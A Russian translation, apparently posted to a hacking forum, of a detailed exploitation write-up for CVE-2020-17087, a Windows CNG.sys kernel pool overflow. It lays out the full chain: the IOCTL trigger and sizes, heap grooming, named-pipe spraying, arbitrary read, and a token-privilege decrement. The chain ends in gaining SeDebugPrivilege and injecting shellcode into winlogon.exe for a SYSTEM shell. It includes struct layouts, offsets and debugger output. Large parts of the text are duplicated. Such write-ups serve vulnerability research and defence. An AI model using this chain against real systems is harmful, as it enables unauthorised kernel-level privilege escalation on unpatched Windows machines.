Обзор
CVE-2020-17087 - это уязвимость, связанная с переполнением пула в драйвере Windows CNG.sys, которая, как было обнаружено, эксплуатировалась «in the wild». Несмотря на то, что был проведен анализ первопричин уязвимости, метод ее использования все еще остается относительно неизвестным. Наиболее примечательной информацией было сообщение Google Project Zero (GP0) о том, что образец ITW «использует переполнение буфера для создания произвольного примитива чтения/записи в пространстве ядра с помощью объектов Named Pipe».
В этом сообщении мы описываем, как эта уязвимость может быть использована на основе метода атаки BlockSize кучи сегмента Windows 10.
Этот эксплойт был разработан для Windows 10 20H2 и тестировался на системах с 1903 по 20H2.
Технические детали
Как описано в системе отслеживания проблем GP0, основную причину можно найти в функции
Пару слов о переполнении сегментной кучи в Windows 10
Перед тем, как мы начнем, стоит выделить соответствующую информацию о куче сегментов [3] [4], методы эксплуатации [5] [6] [7] и прочее. Если вы знакомы, не стесняйтесь переходить к следующему разделу.
Фрон-энд сегментной кучи: выделения в NonPagedPoolNx происходят из
В общем, LFH включает в себя более мелкие фрагменты и обслуживает часто используемые размеры фрагментов по всему ядру, поэтому его сложнее контролировать и выполнять разметку. Учитывая ограничения, связанные с доступными уязвимостями и методами атаки, мы решили использовать VS распределитель для эксплойта.
Защитные страницы: во время экспериментов с макетом пула мы встречали недоступные страницы примерно через каждые 0x10 страниц. Но уязвимость требует как минимум 64 КБ «взлетно-посадочной полосы» для завершения переполнения. Это на первый взгляд делает эксплуатацию невозможной. Согласно [4], «Когда выделены подсегменты VS, подсегменты LFH и большие блоки, в конце подсегмента / блока добавляется защитная страница. Для подсегментов VS и LFH размер подсегмента должен быть >= 64 КБ для того чтобы защитная страница была добавлена. Страница защиты предотвращает последовательное переполнение из блоков VS, блоков LFH и больших блоков в соседние данные вне подсегмента (для блоков VS / LFH) или вне блока (для больших блоков) ». После более внимательного чтения и экспериментов мы обнаружили, что размер подсегмента может варьироваться от 64 КБ до 256 КБ, как отмечено в [5]. Иследуя соответствующие функции в ntoskrnl, такие как
Атаки на заголовок пула: задачи CTF [6] [7] предназначены для эксплуатации заранее заложенной уязвимости, которая обычно имеет лучшие характеристики, и оказывается, что они не близки к этой конкретной ошибке. Однако две атаки, описанные в документе SSTIC [5], довольно близки, а именно атака PoolType (CacheAligned) и атака BlockSize. Из-за уникального шаблона перезаписи этой ошибки «XX 00 XX 00 20 00», только байтом BlockSize можно управлять до нескольких ограниченных значений, поскольку этот байт находится на четном адресе, а нечетные байты не контролируются:
Dynamic Lookaside: «Освободившийся фрагмент размером от 0x200 до 0xF80 байтов может быть временно сохранен в резервном списке, чтобы обеспечить быстрое выделение. Пока они находятся в lookaside, эти фрагменты не будут проходить через соответствующий механизм backend-free». В статье SSTIC [5] описана изящная техника включения резервных списков для блоков VS определённого размера. Это важная часть атаки BlockSize и атаки PoolType. Короче говоря, предоставленный алгоритм может настраивать диспетчер набора баланса и динамический резервный список таким образом, чтобы были включены наиболее часто используемые размеры фрагментов с момента последней перебалансировки. Это позволит надежно освободить и перераспределить один и тот же фрагмент, даже если этот фрагмент имеет поврежденный заголовок фрагмента VS, поскольку фрагмент только временно переходит в динамический резервный список (т.е. не освобождается на самом деле, что позволяет избежать BSOD). В этом эксплойте это позволило бы нам преобразовать ограниченное переполнение пула в контролируемое переполнение пула с помощью «фантомного фрагмента»; поиск поврежденного фрагмента путем многократного освобождения и выделения фрагментов из массива; и реализовать примитив произвольного декремента с атакой перезаписи указателя процесса квоты.
Распыление объектов Named-Pipe: для распределений в
В этом эксплойте есть два основных использования объектов
Перезапись указателя процесса квоты: когда для блока установлен бит PoolQuota(0x8) в
Условия эксплуатации
Во время эксплуатации уязвимости мы отмечаем, что существуют некоторые уникальные условия, которые отличают эту эксплуатацию от типичных переполнений пула:
Стратегия эксплуатации
Шаги эксплуатации в Windows 10 x64 20H1 кратко описаны ниже. Мы используем следующие термины: «g» для групп, рисунок больших кусков спрея; 'd' для манекена, ассигнования для формирования групп; целевые блоки предназначены для перезаписи ожидаемого блока; фрагменты отверстий располагаются таким образом, чтобы уязвимый буфер CNG.sys размещался в макете; куски заполнения используются для стабилизации кусков отверстий.
Из-за уникального требования уязвимости в выходной буфер CNG записано более 64 КБ. И из-за свойств Segment Heap, обычно каждый подсегмент VS имеет размер не более 64 КБ и завершается защитной страницей до и после подсегмента. Идея состоит в том, чтобы запросить достаточно большой запрос VS, чтобы было выделено более 64 КБ. Кроме того, мы хотим, чтобы распределения были в двух больших группах (g2 и g3), так что hole блоки находились в первой группе, а целевые блоки - во второй группе. В идеале каждая из двух групп должна иметь размер 0x10 страниц каждая, так что независимо от того, какое отверстие занято буфером CNG, результирующее переполнение гарантированно перезапишет один целевой фрагмент с желаемым смещением, но не попадет на страницу защиты.
Идея состоит в том, чтобы выделить два блока VS d1 размером около 11 страниц, что приведет к созданию нового субсегмента на 23 страницы; затем освободите два фрагмента d1 и запросите фрагмент d2 на 12 страниц и фрагмент d2 на 10 страниц. Это обеспечит порядок, в котором d2 будет в начале подсегмента.
Судя по текущему анализу, мы пока не можем создать подсегмент размером более 128 КБ. Соответствующий код для выделения подсегмента размером более 64 КБ:
Окончательный макет 23-страничного подсегмента выглядит следующим образом:
2. Распылите целевых чанков
Этот шаг предназначен для заполнения 12 страниц свободного пространства после g1 целевыми фрагментами.
На каждой из 12 страниц будут выделены 4 целевых фрагмента и выровнены с одинаковыми смещениями, причем их фрагмент _POOL_HEADER начинается с 0x000, 0x3F0, 0x7E0, 0xBD0 соответственно. Мы ожидаем, что призрачный фрагмент будет на 0x7E0 страницы, а целевой фрагмент T, следующий за ним, будет на 0xBD0. Как показано ниже:
3. Создайте дыры
Теперь мы можем освободить все блоки g1, чтобы получить непрерывное свободное пространство в 10 страниц. И выделить hole чанки (0x7F0 байтов). Поскольку каждая страница не может содержать два hole чанка, ожидается, что они будут размещены в начале каждой страницы на каждой свободной странице. После распределения всех hole чанков, выделите fill блоки (0x7B0 байтов), чтобы они занимали свободное пространство после каждого блока отверстий. Наконец, мы освобождаем одно отверстие для каждых 0x10 выделений, чтобы получить примерно одно отверстие на подсегмент для последних 2/3 созданных подсегментов.
В этом макете спрея мы ожидаем, что каждый hole чанк будет распологаться в начале страницы.
4. Вызываем ошибку CNG
Теперь мы готовы активировать уязвимость, и ожидается, что выходной буфер CNG попадет в одну из только что созданных дыр.
После перезаписи один из целевых фрагментов с желаемым смещением перезаписывается 6 байтами по адресу 0x7E6:
BlockSize блока перезаписан на 0x64 с предыдущего 0x3E. Остальные 5 соседних байтов перезаписаны либо не используются, либо не имеют значения. Мы называем этот фрагмент чанком призраком, поскольку его размер увеличился, чтобы перекрыть следующий целевой фрагмент T:
Освободив призрачный фрагмент и снова выделив его, мы можем записать 0x640 - 0x3E0 = 0x260 байтов произвольных данных в целевой фрагмент T. Эффективное преобразование однобайтовой перезаписи на BlockSize в управляемое линейное переполнение пула. И этот примитив можно вызывать многократно, что позволяет нам создавать более мощные примитивы.
С помощью динамического вспомогательного списка освобожденный блок-призрак (BlockSize 0x64) не вернется к обычному механизму освобождения, избегая BSOD, поскольку его заголовок блока VS поврежден:
Обратите внимание, что мы не можем искать последовательно вперед, потому что между буфером CNG и призрачным фрагментом есть поврежденные фрагменты размером около 64 КБ, случайное освобождение любого из них приведет к немедленному BSOD. Мы создаем полезную нагрузку фантомного фрагмента следующим образом, обратите внимание, что указатели на корневую очередь недействительны. Нам нужно остановить поиск, как только будет найден целевой фрагмент T, поскольку освобождение объекта DQE с недопустимой корневой очередью приводит к немедленному BSOD.
Теперь мы можем начать поиск:
6. Утечка действительного указателя корневой очереди
Когда фантомный фрагмент обнаружен, соседний целевой фрагмент T перезаписывается управляющими данными, включая DataSize и QuotaInEntry, изменяемые на 0xFFFFFFFF. Как уже использовалось при тестировании перезаписи при поиске на предыдущем шаге, мы можем утечь большое количество данных с помощью PeekNamedPipe. Читая за концом целевого фрагмента T на следующую страницу, мы можем получить действительный указатель на корневую очередь.
7. Примитив произвольного чтения
Теперь мы можем снова вызвать контролируемое линейное переполнение пула, освободив фантомный фрагмент и выделив его обратно, на этот раз мы можем установить указатель корневой очереди на действительный указатель, только что утекший, тем временем мы устанавливаем указатель IRP на созданный объект IRP в пользовательском режиме, и установливаем для DataEntryType значение 1 (без буферизации). Обновленный целевой фрагмент T теперь может использоваться как примитив произвольного чтения адреса (AAR).
Теперь мы можем использовать эти две функции для выполнения AAR размером 4/8 или более байтов:
8. Утечка указателей и значений
С AAR у нас есть утечка указателя корневой очереди в качестве отправной точки, мы можем утечь указатели и переменные, необходимые для этого эксплойта. Этот шаг ссылается на работу и образец кода в [3] и требует некоторого обращения к реальным структурам данных в _NP_CCB (блок управления клиентом именованного канала) и _NP_FCB (блок управления файлом именованного канала).
По утекшему указателю корневой очереди мы можем найти связанный файловый объект, а затем объект устройства и объект драйвера. Из указателя на объект драйвера мы можем получить указатель на функцию NpFsdCreate. Хотя это смещение все еще зависит от конкретной версии NPFS.sys, это смещение относительно стабильно во всех сборках Windows 10, мы можем получить базовый адрес !npfs. В финальной версии мы используем обратный поиск PE-заголовка по указателю NpFsdCreate, вызывая get_pe_base.
Методом проб и ошибок мы нашли две функции ntoskrnl, которые импортирует npfs, у которых есть прямые ссылки на переменные и указатель, который нам нужен для ntoskrnl. Мы используем find_nt_variables для извлечения их фактического адреса в памяти. Это общий метод, поскольку ntoskrnl имеет множество различных бинарных выпусков с 1903 по 20H2. Путем анализа двоичного файла из функций импорта ExFreePoolWithTag и ExAllocatePoolWithQuotaTag, мы можем получить адреса nt!RtlpHpHeapGlobals, на который ссылаются при кодировании/декодировании _HEAP_VS_CHUNK_HEADER, который позже используется указателем nt!PsInitialSystemProcess, который необходим для обхода активных процессов, чтобы найти указатели на сам процесс winlogon.exe и _EPROCESS. Поиск осуществляется с помощью find_address (начало UINT64, BYTE * opcode, BYTE * before, BYTE * after) с начальным адресом для поиска, шаблонами опкодов до и после адреса для поиска. Поскольку код управления памятью относительно стабилен в различных двоичных файлах ntoskrnl, ожидается, что он будет работать как общий для Windows 10. Алгоритм может потребоваться корректировка при тестировании другой сборки, которая не работает на этом этапе.
Кроме этого, нам также нужно найти указатель _EPROCESS для собственного процесса и winlogon.exe. Поскольку мы уже получили nt!PsInitialSystemProcess, это хорошо документированный процесс получения структур процессов и адреса токена.
9. Готовимся к произвольному декрименту
Когда флаг PoolQuota установлен в _POOL_HEADER фрагмента VS, ProcessBilled устанавливается на закодированный указатель _EPROCESS, который используется для отслеживания распределения и освобождения статистики связанного фрагмента. QuotaBlock плохо документирован и, похоже, обновляется в разных сборках Windows. Требуется реверсирование соответствующих функций и метод проб и ошибок.
Когда блок освобождается, QuotaEntry соответствующего PsQuotaTypes изменяется. Произвольный декремент основан на вычитании в nt!PspReturnQuota, вызываемом из nt!ExFreeHeapPool: мы можем вычесть размер блока из QuotaEntry [PsNonPagedPool] .Usage. Следовательно, создав структуру _EPROCESS с указателем QuotaBlock, указывающим на определенное смещение к определенным позициям в токене, мы можем вычесть размер блока из QWORD в _TOKEN.Privileges, эффективно перевернув некоторые биты в полях Present и Enabled.
В этом эксплойте PsPoolTypes равен 0 (PsNonPagedPool), а поле Usage находится со смещением 0 каждого EPROCESS_QUOTA_ENTRY, мы просто устанавливаем указатель QuotaBlock на расположение LSB для уменьшения:
Поддельный _EPROCESS - это точная копия собственного процесса с использованием AAR. Из-за разных начальных значений в токене нам нужны разные места для версии LPE и версии DLL. Как в коде выше.
Чтобы успешно освободить фрагмент таким образом, чтобы декремент QuotaBlock был эффективным, нам также необходимо исправить заголовок фрагмента VS _HEAP_VS_CHUNK_HEADER, сначала пропустив адрес VS Subsegment VSSubSegmentAddr с помощью find_vs_subsegment, а затем используя fix_vs_header, поскольку мы хотим освободить целевой фрагмент T. nt! RtlpHpHeapGlobals используется для получения HeapKey для кодирования заголовка. Фактический указатель _EPROCESS, обновляемый в ProcessBilled, кодируется через encode_ep:
10. Выполняем декремент
Наконец, мы вызываем декремент, сначала вызывая переполнение линейного пула призрачного фрагмента, чтобы обновить созданный закодированный указатель ProcessBilled, правильный указатель корневой очереди target_write_queue для текущего целевого фрагмента T (обратите внимание, что T хотя и находится по тому же адресу, но фактически изменяется на новый блок каждый раз, когда он перераспределяется, то есть с другим указателем корневой очереди), установите флаг PoolQuota для заголовка и с фиксированным заголовком фрагмента VS. После переполнения мы можем освободить T, чтобы вызвать декремент.
Для стабильности нам нужно немедленно вернуть кусок T обратно, также в рамках подготовки к следующему декременту. Это делается с помощью rewrite_pipes и rewrite_pipes2, если требуется 3-й декремент. В настоящее время мы используем конвейеры перезаписи 0x200, чтобы восстановить кусок T для надежности. Каждый раз после перезаписи мы снова вызываем переполнение линейного пула призрачных фрагментов, чтобы превратить T в примитив утечки для поиска правильного фрагмента среди объектов DQE конвейера перезаписи:
Возьмем, к примеру, 2-й декремент, мы сначала перезаписываем T, чтобы он стал примитивом утечки (помечен как aar2), затем используем его, чтобы убедиться, что предыдущее восстановление работает нормально, а затем определяем новый фрагмент T. С помощью дескриптора мы можем найти его исходный указатель на корневую очередь с помощью find_write_queue, используя таблицу дескрипторов процесса. Наконец, мы снова вызываем переполнение линейного пула, используя призрачный фрагмент, чтобы установить новый ProcessBilled и пометить его как dec2, чтобы он был готов к освобождению для выполнения 2-го декремента.
Обратите внимание, что объект DQE должен быть переведен в небуферизованный режим, прежде чем он будет освобожден.
11. Вызываем оболочку SYSTEM
После получения SeDebugPrivilege мы можем внедрить шелл-код в winlogon.exe для создания оболочки SYSTEM.
Ссылки
Эта статья является переводом, оригинал доступен тут
Получившийся перевод дался не легко, в тексте очень много терминов и их склонений которые очень сложно перевести на русский так, чтобы передать суть.
Если в переводе есть ошибки - не стесняйтесь о них писать!
Перевод:
Azrv3l cпециально для xss.pro
CVE-2020-17087 - это уязвимость, связанная с переполнением пула в драйвере Windows CNG.sys, которая, как было обнаружено, эксплуатировалась «in the wild». Несмотря на то, что был проведен анализ первопричин уязвимости, метод ее использования все еще остается относительно неизвестным. Наиболее примечательной информацией было сообщение Google Project Zero (GP0) о том, что образец ITW «использует переполнение буфера для создания произвольного примитива чтения/записи в пространстве ядра с помощью объектов Named Pipe».
В этом сообщении мы описываем, как эта уязвимость может быть использована на основе метода атаки BlockSize кучи сегмента Windows 10.
Этот эксплойт был разработан для Windows 10 20H2 и тестировался на системах с 1903 по 20H2.
Технические детали
Как описано в системе отслеживания проблем GP0, основную причину можно найти в функции
cng!CfgAdtpFormatProeprtyBlock, где запрошенный буфер преобразуется в шестнадцатерый Unicode формат, поэтому запрошенный размер SrcLen умножается на 6, чтобы получить получить размер выходного буфера. Однако размер, передаваемый в cng!BCryptAlloc, неправильно сокращается до 16 бит. Когда srcLen превышает 0x10000/6, выделение приведет к уменьшению размера буфера и последующему переполнению во время преобразования строки.Пару слов о переполнении сегментной кучи в Windows 10
Перед тем, как мы начнем, стоит выделить соответствующую информацию о куче сегментов [3] [4], методы эксплуатации [5] [6] [7] и прочее. Если вы знакомы, не стесняйтесь переходить к следующему разделу.
Фрон-энд сегментной кучи: выделения в NonPagedPoolNx происходят из
nt!ExAllocatePoolWithTag путем вызова внутренней функции ntoskrnl nt!ExAllocateHeapPool, которая затем вызывает соответствующие процедуры выделения внешнего в зависимости от запрошенного размера, либо через LFH, либо через выделение VS, если запрошеный размер достаточно велик. Для блоков большего размера он перейдет к Выделению блоков через nt!RtlpHpLargeAlloc. Когда во внешнем распределителе недостаточно места, запрашивается новый подсегмент, вызывая nt!RtlpHpSegAlloc. Куча с низкой фрагментацией (LFH) предназначена для часто используемых блоков размером менее 0x200 байт, они выделяются через RtlpHpLfhContextAllocate из Подсегмента LFH; Выделение переменного размера (VS) предназначено для фрагментов размером в [0x200, 0xFE0] и (0xFE0, 0x20000], которые не выровнены по странице (size & 0xFFF! = 0), и они выделяются через RtlpHpVsContextAllocateInternal из подсегмента VS.В общем, LFH включает в себя более мелкие фрагменты и обслуживает часто используемые размеры фрагментов по всему ядру, поэтому его сложнее контролировать и выполнять разметку. Учитывая ограничения, связанные с доступными уязвимостями и методами атаки, мы решили использовать VS распределитель для эксплойта.
Защитные страницы: во время экспериментов с макетом пула мы встречали недоступные страницы примерно через каждые 0x10 страниц. Но уязвимость требует как минимум 64 КБ «взлетно-посадочной полосы» для завершения переполнения. Это на первый взгляд делает эксплуатацию невозможной. Согласно [4], «Когда выделены подсегменты VS, подсегменты LFH и большие блоки, в конце подсегмента / блока добавляется защитная страница. Для подсегментов VS и LFH размер подсегмента должен быть >= 64 КБ для того чтобы защитная страница была добавлена. Страница защиты предотвращает последовательное переполнение из блоков VS, блоков LFH и больших блоков в соседние данные вне подсегмента (для блоков VS / LFH) или вне блока (для больших блоков) ». После более внимательного чтения и экспериментов мы обнаружили, что размер подсегмента может варьироваться от 64 КБ до 256 КБ, как отмечено в [5]. Иследуя соответствующие функции в ntoskrnl, такие как
nt!RtlpHpSegAlloc и nt!RtlpHpVsSubsegmentCreate, мы обнаруживаем, что единственный возможный размер - 128 КБ (0x20000) для работы этого эксплойта. Например, запросив блок VS размером около 11 страниц (0xae70), мы можем получить новый подсегмент с 23 страницами (92 КБ) полезного пространства.Атаки на заголовок пула: задачи CTF [6] [7] предназначены для эксплуатации заранее заложенной уязвимости, которая обычно имеет лучшие характеристики, и оказывается, что они не близки к этой конкретной ошибке. Однако две атаки, описанные в документе SSTIC [5], довольно близки, а именно атака PoolType (CacheAligned) и атака BlockSize. Из-за уникального шаблона перезаписи этой ошибки «XX 00 XX 00 20 00», только байтом BlockSize можно управлять до нескольких ограниченных значений, поскольку этот байт находится на четном адресе, а нечетные байты не контролируются:
Код:
Breakpoint 0 hit
cng!CfgAdtpFormatPropertyBlock+0x4e:
fffff803`3fd524aa e83549faff call cng!BCryptAlloc (fffff803`3fcf6de4)
1: kd> dt nt!_POOL_HEADER rax-10
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00110111 (0x37) ; 0x37 << 4 = 0x370 bytes
+0x002 PoolType : 0y00000010 (0x2) ; NonPagedPoolMustSucceed
+0x000 Ulong1 : 0x2370000
+0x004 PoolTag : 0x62676e43 ; "Cngb"
+0x008 ProcessBilled : 0xffff9d88`074b3b49 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x3b49
+0x00a PoolTagHash : 0x74b
Dynamic Lookaside: «Освободившийся фрагмент размером от 0x200 до 0xF80 байтов может быть временно сохранен в резервном списке, чтобы обеспечить быстрое выделение. Пока они находятся в lookaside, эти фрагменты не будут проходить через соответствующий механизм backend-free». В статье SSTIC [5] описана изящная техника включения резервных списков для блоков VS определённого размера. Это важная часть атаки BlockSize и атаки PoolType. Короче говоря, предоставленный алгоритм может настраивать диспетчер набора баланса и динамический резервный список таким образом, чтобы были включены наиболее часто используемые размеры фрагментов с момента последней перебалансировки. Это позволит надежно освободить и перераспределить один и тот же фрагмент, даже если этот фрагмент имеет поврежденный заголовок фрагмента VS, поскольку фрагмент только временно переходит в динамический резервный список (т.е. не освобождается на самом деле, что позволяет избежать BSOD). В этом эксплойте это позволило бы нам преобразовать ограниченное переполнение пула в контролируемое переполнение пула с помощью «фантомного фрагмента»; поиск поврежденного фрагмента путем многократного освобождения и выделения фрагментов из массива; и реализовать примитив произвольного декремента с атакой перезаписи указателя процесса квоты.
Распыление объектов Named-Pipe: для распределений в
NonPagedPoolNx, именованные каналы это хорошо документированный метод распыления контролируемых данных, его также можно использовать для создания произвольных примитивов чтения. Мы можем создать пару дескрипторов именованного канала для чтения и записи с помощью CreatePipe, которые будут создавать объект _NP_CCB и _NP_FCB, они связаны с объектом FileObject именованного канала из таблицы дескрипторов процесса и связаны с объектом DataQueue _NP_DATA_QUEUE. Объект _NP_DATA_QUEUE_ENTRY выделяется и помещается в DataQueue, когда данные записываются в дескриптор записи именованного канала с помощью WriteFile. Объект _NP_DATA_QUEUE_ENTRY имеет заголовок 0x30 байтов и дополнительные буферизованные данные, которыми можно полностью управлять (в [3] он упоминается как struct PipeQueueEntry). Точный рабочий механизм может быть найден в исходном коде ReactOS на npfs и при реверсинге соответствующих функций npfs.sys. Ключевые функции: NpAddDataQueueEntry, NpRemoveDataQueueEntry, NpPeek, NpInternalRead и тдВ этом эксплойте есть два основных использования объектов
_NP_DATA_QUEUE_ENTRY. Переписывая оба поля _NP_DATA_QUEUE_ENTRY. {QuotaInEntry, DataSize} на более крупные значения, мы можем считывать данные за пределами диапазона с помощью PeekNamedPipe, чтобы выполнить утечку указателя DataQueue следующего объекта DQE. Во-вторых, записав утекший указатель DataQueue в следующий блок (нам нужен действительный указатель очереди, чтобы избежать BSOD) и изменив DataEntryType с 0 (с буферизацией) на 1 (без буферизации), мы можем изменить объект DQE на режим без буферизации, который использует указатель Irp в качестве источника данных. Указав Irp на фальшивую структуру _IRP пользовательского режима, мы можем сбросить указатель AssociatedIrp.SystemBuffer в пользовательском режиме перед каждым запросом чтения, тем самым мы можем построить произвольный примитив чтения.
C++:
struct _NP_DATA_QUEUE_ENTRY {
+0x00 LIST_ENTRY QueueEntry;
+0x10 PIRP Irp; // Для Unbuffered и AAR примитива
+0x18 PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
+0x20 ULONG DataEntryType; // Buffered 0, Unbuffered 1
+0x24 ULONG QuotaInEntry; // Переписать, чтобы получить AAR
+0x28 ULONG DataSize; // Переписать, чтобы получить AAR
};
struct _NP_DATA_QUEUE {
LIST_ENTRY Queue; // указатель на _NP_DATA_QUEUE_ENTRY
ULONG QueueState; // 1 (WriteEntries)
ULONG BytesInQueue;
ULONG EntriesInQueue;
ULONG QuotaUsed;
ULONG ByteOffset;
ULONG Quota;
};
struct _NP_CCB; // Named Pipe Client Control Block
struct _NP_FCB; // Named Pipe File Control Block
Перезапись указателя процесса квоты: когда для блока установлен бит PoolQuota(0x8) в
_POOL_HEADER.PoolType, поле ProcessBilled связано со структурой _EPROCESS процесса-владельца. Выделение и освобождение фрагментов со статистикой квот приводит к увеличению или уменьшению значения EPROCESS_QUOTA_BLOCK, на которое указывает _EPROCESS.QuotaBlock. Как только мы получили возможность перезаписывать поле ProcessBilled, мы можем создать произвольный примитив декремента с созданным указателем QuotaBlock. Обратите внимание, что из-за изменений в сборках Windows 10 структуры данных могут изменяться с течением времени, и этот метод может иметь побочные эффекты в зависимости от значений полей в токене процесса. Метод требует произвольного чтения для утечки адреса блока и значения nt!ExpPoolQuotaCookie для кодирования указателя _EPROCESS, который имеет созданный указатель QuotaBlock, который указывает рядом с полем Token.Privileges.Условия эксплуатации
Во время эксплуатации уязвимости мы отмечаем, что существуют некоторые уникальные условия, которые отличают эту эксплуатацию от типичных переполнений пула:
- Переполнение допускает перезапись переменной длины, равной [0x10000, 0x5FFFA] байтов.
- Переполненный буфер выделяется из NonPagedPoolNx контролируемого размера [0x2, 0xFFFF] байтов.
- Формат перезаписываемого содержимого - XX 00 XX 00 20 00, XX в [0x30-0x39, 0x61-0x66].
Стратегия эксплуатации
Шаги эксплуатации в Windows 10 x64 20H1 кратко описаны ниже. Мы используем следующие термины: «g» для групп, рисунок больших кусков спрея; 'd' для манекена, ассигнования для формирования групп; целевые блоки предназначены для перезаписи ожидаемого блока; фрагменты отверстий располагаются таким образом, чтобы уязвимый буфер CNG.sys размещался в макете; куски заполнения используются для стабилизации кусков отверстий.
- Группы распыления: Выделите подсегменты из 23 страниц таким образом, чтобы каждый подсегмент содержал фрагмент группы 3 «g3» (1 страница), фрагмент группы 1 «g1» (10 страниц) и 12 страниц свободного места в конце подсегмента. Это делается следующими шагами: а. Выделите подсегменты VS из 23 страниц, запросив два фрагмента VS 'd1' по 11 страниц каждый. б. Освободите каждые два блока "d1", чтобы получить свободный подсигмент. Выделите VS-фрагмент d2 (12 страниц), который будет начинаться со 2-й страницы подсегмента. Выделите блок VS 'd3' (10 страниц) после 'd2', чтобы занять свободное место. c. Освободите все чанки 'd2', чтобы получить дыры в 12 страниц, и выделите куски группы 1 'g1' (10 страниц). d. Освободите все фрагменты d3 (10 страниц), чтобы получить свободное место в 12 страниц в конце каждого подсегмента.
- Цели распыления: выделите целевые блоки VS (размер блока 0x3E0) для заполнения последних 12 страниц каждого подсегмента.
- Создайте дыры: освободите все куски 'g1', чтобы получить непрерывные 10 свободных страниц. Выделите hole чанки (размер блока 0x7F0), они будут выровнены по началу каждой страницы фрагмента g1. Выделите fill чанки (размер блока 0x7B0), которые будут заполнять оставшееся пространство после каждого фрагмента hole на странице. Для последних 2/3 пустых блоков освободите один блок на каждые 0x10 выделений.
- Вызовите ошибку CNG: активируйте уязвимость через DeviceIoControl с dwIoControlCode = 0x390400 и запрошенным размером 0x2BF9, выполняется фактический запрос на 0x7D6 байт, который, как ожидается, попадет в одну из дыр, созданных на шаге 4. При преобразовании содержимого будет записано 0x107D6 байтов в Буфер CNG, начиная со смещения 0x10 одной из страниц g1 и перезаписывая страницы 0x10 и другие байты 0x7D6, это остановится прямо перед смещением 0x7E6 одной из страниц g2 на шаге 1 и 2. Мы перезаписываем поле _POOL_TYPE.BlockSize для 3 целевого фрагмента страницы в 0x64. Мы называем этот фрагмент фантом-призраком, размер которого изменяется с 0x3E0 на 0x640.
- Найти фантомный фрагмент: включить динамический lookaside list для размера фантомного фрагмента (0x640) и размера целевого фрагмента (0x3E0). Теперь мы можем искать последний перезаписанный целевой фрагмент в обратном направлении от последнего дескриптора целевого фрагмента. На каждой итерации мы освобождаем один целевой фрагмент и сразу выделяем фрагмент 0x640: если будет освобожден правильный фантомный (целевой) фрагмент, выделение 0x640 вернется к тому же адресу благодаря внешнему виду, что приведет к контролируемому линейному пулу, и это можно обнаружить, вызвав PeekNamedPipe для смежного целевого дескриптора блока.
- Утечка действительного указателя корневой очереди: как только фантомный фрагмент обнаружен, поля QuotaInEntry и DataSize соседнего целевого фрагмента T перезаписываются на большие значения с линейным переполнением пула. Мы можем снова использовать PeekNamedPipe для утечки действительного указателя корневой очереди.
- Примитив произвольного чтения: с помощью утекшей корневой очереди мы можем изменить данные фантомного фрагмента и второй раз вызвать линейное переполнение пула, чтобы перезаписать целевой фрагмент T действительными указателями корневой очереди, указателем IRP, созданным из пользовательского пространства, измененным DataEntryType из Буферизованный в небуферизованный. Теперь, изменив указатель данных IRP в пользовательском пространстве, мы можем добиться произвольного чтения.
- Утечка указателей для следующего шага: сначала по ранее просочившемуся указателю корневой очереди мы можем найти базовый адрес NPFS.sys. Из npfs_base мы вычисляем три переменные: nt!ExpPoolQuotaCookie, nt!RtlpHpHeapGlobals и nt!PsInitialSystemProcess. Затем утечка указателя _EPROCESS для собственного процесса и для winlogon.exe, а также адреса токена собственного процесса.
- Подготовка к произвольному декременту: сначала утечка адреса подсегмента VS: произвольный декремент зависит от освобождения фрагмента с помощью созданного указателя ProcessBilled. Нам нужно исправить заголовок фрагмента VS, потому что фрагмент не восстанавливается немедленно, поврежденный заголовок фрагмента VS приведет к немедленному BSOD. Во-вторых, создайте 2-3 поддельных _EPROCESS, указатели QuotaBlock которых созданы для указания на разные байтовые смещения в Token.Privileges. LPE требует двух декрементов, а версии DLL требуют 3 декрементов из-за различий в инициализированных уровнях привилегий.
- Выполните декремент: для LPE требуются два декремента: Token + 0x40 и Token + 0x48. Для версии DLL требуется три: Token + 0x4B, Token + 0x44 и Token + 0x3D. Каждый декремент выполняется путем однократного вызова переполнения линейного пула фантомных фрагментов: установка нового указателя ProcessBilled, исправление исходного указателя корневой очереди целевого фрагмента T и, наконец, освобождение T и быстрое его возвращение.
- Вызываем оболочку SYSTEM: если шаг 10 прошел успешно, бит 20 в Token.Privileges будет перевернут, и SeDebugPrivilege будет получен как в Privileges.Present, так и в Privileges.Enabled. Шелл-код может быть введен в winlogon.exe для получения системной оболочки.
Из-за уникального требования уязвимости в выходной буфер CNG записано более 64 КБ. И из-за свойств Segment Heap, обычно каждый подсегмент VS имеет размер не более 64 КБ и завершается защитной страницей до и после подсегмента. Идея состоит в том, чтобы запросить достаточно большой запрос VS, чтобы было выделено более 64 КБ. Кроме того, мы хотим, чтобы распределения были в двух больших группах (g2 и g3), так что hole блоки находились в первой группе, а целевые блоки - во второй группе. В идеале каждая из двух групп должна иметь размер 0x10 страниц каждая, так что независимо от того, какое отверстие занято буфером CNG, результирующее переполнение гарантированно перезапишет один целевой фрагмент с желаемым смещением, но не попадет на страницу защиты.
Код:
; Windows 10 20H1 19041.572
.text:00000001C00624A7 movzx ecx, di ; NumberOfBytes
.text:00000001C00624AA call BCryptAlloc ; truncated
.text:00000001C00624AF mov rdx, rax
bu /p ffff9c833549f080 !cng + 624AA
PAGE:00000001C000D571 mov edx, edx ; NumberOfBytes
PAGE:00000001C000D573 mov ecx, 308h ; PoolType
PAGE:00000001C000D578 mov r8d, 7246704Eh ; Tag 'NpFr'
PAGE:00000001C000D57E call cs:__imp_ExAllocatePoolWithQuotaTag
PAGE:00000001C000D585 nop dword ptr [rax+rax+00h]
bu /p ffff9c833549f080 !npfs + D58A ".printf \"[+] Allocated %x bytes DataEntry at %p\\n\",r13, rax; g"
.text:00000001402C7C36 call RtlpHpVsSubsegmentCreate
.text:00000001402C7C3B mov rsi, rax
bu /p ffff9c833549f080 !nt + 2C7C3B ".printf \"[+] RtlpHpVsSubsegmentCreate(req=%x): alloc %p size %x \\n\",r13,rax,poi(rax+20)&0xffff; g"
Идея состоит в том, чтобы выделить два блока VS d1 размером около 11 страниц, что приведет к созданию нового субсегмента на 23 страницы; затем освободите два фрагмента d1 и запросите фрагмент d2 на 12 страниц и фрагмент d2 на 10 страниц. Это обеспечит порядок, в котором d2 будет в начале подсегмента.
Код:
[+] RtlpHpVsSubsegmentCreate(req=ae70): alloc ffff8d8f57fc5000 size 1ffd
[+] Allocated ae40 bytes DataEntry at ffff8d8f57fc6000
